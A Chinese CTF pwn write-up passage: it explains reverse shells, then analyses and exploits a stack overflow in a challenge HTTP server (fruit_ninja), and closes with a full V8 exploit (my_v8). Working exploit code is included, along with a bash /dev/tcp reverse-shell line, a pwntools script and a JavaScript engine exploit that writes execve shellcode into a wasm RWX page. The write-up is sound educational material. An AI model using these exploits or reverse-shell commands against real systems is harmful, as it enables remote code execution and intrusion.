code(0x10,0,0,8)
code(0x10,1,0,4)
code(0x10,2,0,20)
code(0x80,1,1,2) # r1 = 0x400000
code(0x10,3,0x08,0x77)
code(0x40,1,1,3)
code(0x50,4,4,0)
code(0x90,4,1)
p.interactive()

fruit_ninja

前置知识

反弹shell

  • 什么是反弹shell,一般pwn都是我们攻击者去连接目标主机,而反弹shell是目标主机主动去连接攻击者的主机,并将执行权限给攻击者
  • 反弹shell的前提:需要一个具有公网ip的服务器(IPv4)
  • 在一般的情况下,pwn了目标主机,直接就getshell了,这时我们就可以直接cat flag目标主机就会将flag的内容发送给我们,但是在需要反弹shell的情况,当我们getshell之后,我们可以对目标主机执行命令,但是接收不到目标执行完命令后的内容。这就导致我们无法得到flag的内容,这时就是要反弹shell
  • 反弹shell有几个办法,我们就先介绍一个办法吧:
    • 需要一个具有公网ip的服务器,假设其ip为1.1.1.1
    • 我们先指定开放该服务器的端口2333,输入指令为nc -lvp 2333 nc -n -lvp 2333
    • 然后我们getshell了目标靶机,这时我们就执行命令bash -i >& /dev/tcp/1.1.1.1/2333 0>&1
    • 这样目标靶机就连接上了我们的服务器,并且在我们服务器这边具有执行目标靶机目录的权限,也可以看到执行后的结果,这时我们就可以得到flag

image-20240925182507092

fruit_ninja_分析

image-20240925162120040

  • 查看一下保护,发现保护全开

image-20240925162036762

  • 接下来我们反编译一下该程序,先查看main函数,我们先理清楚一下main函数的执行过程
1
2
3
4
5
6
7
8
程序先从main函数开始
--->调用startup函数,启动服务器(用于初始化网络服务或客户端)
--->调用accept函数,用来接受一个连接请求(这里会接收一些http协议的内容)
--->pthread_create()这个函数其实是创建一个线程的函数,这时会在if语句中调用这个函数
# 创建一个线程后,这个线程会执行第三个参数所指向的函数(这个参数其实是一个函数指针类型)
--->调用accept_request,将处理接受到的http协议的内容

# 具体来分析accept_request这个函数

image-20240925162422115

  • 然后我们主要是仔细分析一下accept_request这个函数,这个函数首先会传递一个参数过来,这个参数是文件描述符,这个文件描述符就是用于处理服务器客户端交互的。

image-20250310194858857

  • 这里我们先了解一下HTTP请求报文使用GET方法和POST方法大概的模版。
    • 我们可以看到GET方法传递的参数就跟在它后面即/1.php
    • POST方法传递的参数是在最后那一行,并且比起GET方法POST方法还多了两行Content-LengthContent-Type
    • Content-Length后面跟的数字表明我们最后一行传递的参数一共有多少个字节
1
2
3
4
5
6
7
8
9
10
11
12
13
# 这是GET方法的http报文
GET /1.php HTTP/1.1/\r\n
Host: developer.mozilla.org\r\n
Accept-Language: fr


# 下面是POST方法的http报文
POST /contact_form.php HTTP/1.1\r\n
Host: developer.mozilla.org\r\n
Content-Length: 64\r\n
Content-Type: application/x-www-form-urlencoded\r\n

name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
  • 接下来我们分析一下accept_request函数,这个函数先会接收第一行http请求报文,然后判断是不是GET或者POST方法,如果是GET或者POST方法就继续处理数据。
  • 如果是GET方法,就会获取相应的web目录

image-20250310201446921

  • 该协议会先处理GET、POST参数,参数正确则会将一下web页面等从服务器发送到客户端中
    • 这里在发送web页面之前还会检查我们请求路径的合法性,s这个字符串数组保存的就是web页面的路径
    • 经过一些列检查后,如果检查都过了就会执行execute_cgi(a1,s,s1,j)这个函数,我们介绍一下这个函数传递的参数
    • a1:是代表客户端的远程描述符,用于服务器与客户端交互
    • s:服务器web页面的路径
    • s1:接收的请求头(即http报文第一行)
    • j:接收的参数个数

image-20250310201844648

  • 这里注意:如果请求的路径不合法这里就会发送HTTP响应报文比如HTTP/1.0 404 NOT FOUND
1
2
3
4
5
6
7
8
HTTP/1.0 404 NOT FOUND\r\n
Server: jdbhttpd/0.1.0\r\n
Content-Type: text/html\r\n
<HTML><TITLE>Not Found</TITLE>\r\n
<BODY><P>The server could not fulfill\r\n
your request because the resource specified\r\n
is unavailable or nonexistent.\r\n
</BODY></HTML>\r\n
  • 接下来我们查看一下函数execute_cgi具体的执行流程,我们先查看一下这个函数的局部变量

image-20250310202510502

  • 然后我们再查看一下函数具体执行逻辑,我们先会将文件路径复制给dest
  • 这个函数会根据GET或者POST方法选择处理报文的方式,这里我们重点就来看POST方法
    • 如果是POST方法就会接收并处理Content-LengthAuthorization: Basic
    • 并且会调用GdecBase64函数对Authorization: Basic后面紧跟着的内容进行Base64解码,将解码后的结果存储在V18这里
    • 注意在这里就会有一个栈溢出的漏洞了
    • 之后会对v18的开头进行检查,检查是否为pwner,如果v18的开头不是pwner程序就会出问题

image-20250310202804379

  • 我们会将Base64解码之前的数据存放在v21这边,然后解码之后会存放在v18这边,但是v21这边存储的字节比v18这边多很多,所以这边我们就可以通过溢出,有机会溢出到dest这个数组

image-20250310203748471

  • 之后我们再看一下之后的程序逻辑,检查完pwner后,正常情况下程序都会执行到execl()这边,而这里就相当于execve,只不过只不过这个时候我们远程交互用的文件描述符是4,而不是标准输出流。所以命令执行的结果并不会显示到我们的平面中,这时我们getshell之后就需要反弹shell

image-20250310204023120

  • 所以思路就是通过Authorization: Basic后面跟着的内容去构造栈溢出,并且使用\x00绕过strcmp(v18, "pwner")这个检查
  • 之后我们就可以getshellgetshell后就可以反弹shell了。这个构造栈溢出的偏移量自己手动算算就出来了。

fruit_ninja_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from base64 import *

context.log_level = 'debug'
io = remote('node5.anna.nssctf.cn', 24279)

s = 'pwner\x00' + 'a'*250 +'/bin/bash\x00'
s = b64encode(s.encode('utf-8')).decode()
print(len(s))
body = "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1\n\r"
payload = 'POST /rule.cgi\r\n'
payload += 'Content-Length: {}\r\n'.format(len(body))
payload += 'Authorization: Basic '+ s +'\r\n\n'
payload += body
payload = payload.encode('utf-8')
io.sendline(payload)
io.interactive()

my_v8

  • my_v8这题要写的内容太多了,就先挖个坑吧,来日方长,慢慢填。

my_v8_exp

  • 这里就先附上exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// ××××××××1. 无符号64位整数和64位浮点数的转换代码×××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.Mywrite(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.Mywrite(obj_array_map);
let faked_obj = float_array[0];
float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();